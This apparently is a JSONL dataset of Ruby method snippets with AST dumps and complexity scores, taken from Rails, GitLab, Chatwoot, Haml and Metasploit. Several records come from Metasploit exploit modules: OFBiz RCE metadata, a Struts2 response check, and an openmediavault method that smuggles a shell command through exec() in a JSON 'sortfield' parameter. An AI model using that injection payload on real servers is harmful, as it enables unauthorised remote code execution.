end","complexity_score":41.38,"ast_json":"{\"type\":\"def\",\"children\":[\"assume_migrated_upto_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sm_table\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool\"]},\"schema_migration\"]},\"table_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_context\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool\"]},\"migration_context\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migrated\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_context\"]},\"get_all_versions\"]}]},{\"type\":\"lvasgn\",\"children\":[\"versions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_context\"]},\"migrations\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrated\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},null,{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sm_table\"]}]},{\"type\":\"str\",\"children\":[\" (version) VALUES (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inserting\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"versions\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"migrated\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserting\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duplicate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserting\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserting\"]},\"count\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Duplicate migration \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate\"]}]},{\"type\":\"str\",\"children\":[\". Please renumber your migrations to resolve the conflict.\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[null,\"insert_versions_sql\",{\"type\":\"lvar\",\"children\":[\"inserting\"]}]}]}]},null]}]}]}","id":"2df5df14-7d77-4856-8c70-6352753b1b7b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts2_rest_xstream.rb","start_line":205,"raw_source":"def check_response(res)\n    res && res.code == 500 && res.body.include?(error_string)\n  end","complexity_score":9.05,"ast_json":"{\"type\":\"def\",\"children\":[\"check_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"error_string\"]}]}]}]}","id":"726b7e3b-3dca-4531-989e-11ccd2d39420"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/apache_ofbiz_forgot_password_directory_traversal.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache OFBiz forgotPassword/ProgramExport RCE',\n        'Description' => %q{\n          Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The\n          vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint\n          which in turn allows for remote code execution in the context of the user running the application. This was\n          patched in 18.12.14.\n\n          It was then discovered that the use of the path traversal vulnerability is not required in order to access\n          the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability\n          and was patched in 18.12.15.\n\n          This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the\n          module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.\n        },\n        'Author' => [\n          'Mr-xn', # PoC\n          'jheysel-r7' # module\n        ],\n        'References' => [\n          [ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],\n          [ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],\n          [ 'CVE', '2024-32113'],\n          [ 'CVE', '2024-38856']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => %w[linux win],\n        'Privileged' => true, # You get a root session when exploiting a docker container though user level session on Windows.\n        'Arch' => [ ARCH_CMD ],\n        'Targets' => [\n          [\n            'Linux Command',\n            {\n              'Platform' => ['linux', 'unix'],\n              'Arch' => [ARCH_CMD],\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Windows Command',\n            {\n              'Platform' => ['win'],\n              'Arch' => [ARCH_CMD],\n              'Type' => :win_cmd\n            }\n          ],\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x3a\"\n        },\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2024-05-30',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE, ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, ],\n          'Reliability' => [ REPEATABLE_SESSION, ]\n        },\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 8443\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache OFBiz forgotPassword/ProgramExport RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint\\n\"]},{\"type\":\"str\",\"children\":[\"          which in turn allows for remote code execution in the context of the user running the application. This was\\n\"]},{\"type\":\"str\",\"children\":[\"          patched in 18.12.14.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          It was then discovered that the use of the path traversal vulnerability is not required in order to access\\n\"]},{\"type\":\"str\",\"children\":[\"          the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"          and was patched in 18.12.15.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the\\n\"]},{\"type\":\"str\",\"children\":[\"          module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mr-xn\"]},{\"type\":\"str\",\"children\":[\"jheysel-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Mr-xn/CVE-2024-32113\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-32113\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-38856\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"win_cmd\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\":\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-05-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8443]}]}]}]}]}]}]}]}","id":"c95f22ad-9771-47c0-bc4b-bfe2c71a719a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/openmediavault_rpc_rce.rb","start_line":139,"raw_source":"def execute_command(cmd, _opts = {})\n    send_request_cgi({\n      'uri' => @uri,\n      'method' => 'POST',\n      'cookie' => @cookie.to_s,\n      'data' => {\n        service: 'LogFile',\n        method: 'getList',\n        params: {\n          id: 'apt_history',\n          start: 0,\n          limit: 50,\n          sortfield: \"'.exec(\\\"#{cmd}\\\").'\",\n          sortdir: 'DESC'\n        },\n        options: nil\n      }.to_json\n    })\n  rescue ::Rex::ConnectionError\n    fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')\n  end","complexity_score":7.18,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"ivar\",\"children\":[\"@uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cookie\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"LogFile\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"getList\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"apt_history\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sortfield\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'.exec(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\").'\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sortdir\"]},{\"type\":\"str\",\"children\":[\"DESC\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"nil\",\"children\":[]}]}]},\"to_json\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Rex::ConnectionError caught in execute_command(), could not connect to the target.\"]}]}]},null]}]}","id":"e425b9c3-8b14-4f55-94d3-92fa3d3ed3c6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/inbox_seeder.rb","start_line":31,"raw_source":"def seed_website_inbox\n    channel = Channel::WebWidget.create!(account: @account, website_url: \"https://#{@company_data['domain']}\")\n    Inbox.create!(channel: channel, account: @account, name: \"#{@company_data['name']} Website\")\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_website_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"WebWidget\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"website_url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@company_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"domain\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Inbox\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@company_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" Website\"]}]}]}]}]}]}]}","id":"cb0631c6-f545-41a7-8510-ccc14e1b5b56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/base_service.rb","start_line":43,"raw_source":"def track_access_level(import_type)\n      Gitlab::Tracking.event(\n        self.class.name,\n        'create',\n        label: 'import_access_level',\n        user: current_user,\n        extra: { user_role: user_role, import_type: import_type }\n      )\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_access_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"import_access_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_role\"]},{\"type\":\"send\",\"children\":[null,\"user_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_type\"]},{\"type\":\"lvar\",\"children\":[\"import_type\"]}]}]}]}]}]}]}","id":"438c9160-14b8-4a75-ba87-578f0bdcddf0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/middleware/database_selector.rb","start_line":63,"raw_source":"def call(env)\n        request = ActionDispatch::Request.new(env)\n\n        select_database(request) do\n          @app.call(env)\n        end\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_database\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]}","id":"76d1dcd1-1242-46a9-9956-c4b5cd8a5d36"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/template_test.rb","start_line":256,"raw_source":"def test_precede\n    output = render(<<HAML, :action_view)\n= precede '<div />'.html_safe do\n  %span\nHAML\n    assert_equal \"<div /><span></span>\\n\", output\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_precede\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"= precede '<div />'.html_safe do\\n\"]},{\"type\":\"str\",\"children\":[\"  %span\\n\"]}]},{\"type\":\"sym\",\"children\":[\"action_view\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<div /><span></span>\\n\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"ba2070ae-6484-4799-96a4-9640b5c1a1ac"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":604,"raw_source":"def test_fixtures_are_set_up_with_database_env_variable\n    db_url_tmp = ENV[\"DATABASE_URL\"]\n    ENV[\"DATABASE_URL\"] = \"sqlite3::memory:\"\n    ActiveRecord::Base.stub(:configurations, {}) do\n      test_case = Class.new(ActiveRecord::TestCase) do\n        fixtures :accounts\n\n        def test_fixtures\n          assert accounts(:signals37)\n        end\n      end\n\n      result = test_case.new(:test_fixtures).run\n\n      assert_predicate result, :passed?, \"Expected #{result.name} to pass:\\n#{result}\"\n    end\n  ensure\n    ENV[\"DATABASE_URL\"] = db_url_tmp\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fixtures_are_set_up_with_database_env_variable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_url_tmp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DATABASE_URL\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DATABASE_URL\"]},{\"type\":\"str\",\"children\":[\"sqlite3::memory:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"configurations\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_case\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"TestCase\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixtures\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"def\",\"children\":[\"test_fixtures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"accounts\",{\"type\":\"sym\",\"children\":[\"signals37\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_case\"]},\"new\",{\"type\":\"sym\",\"children\":[\"test_fixtures\"]}]},\"run\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"sym\",\"children\":[\"passed?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" to pass:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DATABASE_URL\"]},{\"type\":\"lvar\",\"children\":[\"db_url_tmp\"]}]}]}]}","id":"ee8118c6-7625-494a-a2d0-a0d48afff8b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/keys/expiry_notification_service.rb","start_line":14,"raw_source":"def execute\n      return unless allowed?\n\n      if expiring_soon\n        create_expiring_soon_todos\n        trigger_expiring_soon_notification\n      else\n        create_expired_todos\n        trigger_expired_notification\n      end\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expiring_soon\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_expiring_soon_todos\"]},{\"type\":\"send\",\"children\":[null,\"trigger_expiring_soon_notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_expired_todos\"]},{\"type\":\"send\",\"children\":[null,\"trigger_expired_notification\"]}]}]}]}]}","id":"a65875ba-b662-42a0-b32b-83cfffcdfa97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/group_members_controller.rb","start_line":84,"raw_source":"def membershipable_members\n    group.members\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"membershipable_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"members\"]}]}","id":"0d4a466b-afb5-4dbd-bfef-a7d3d6943569"}
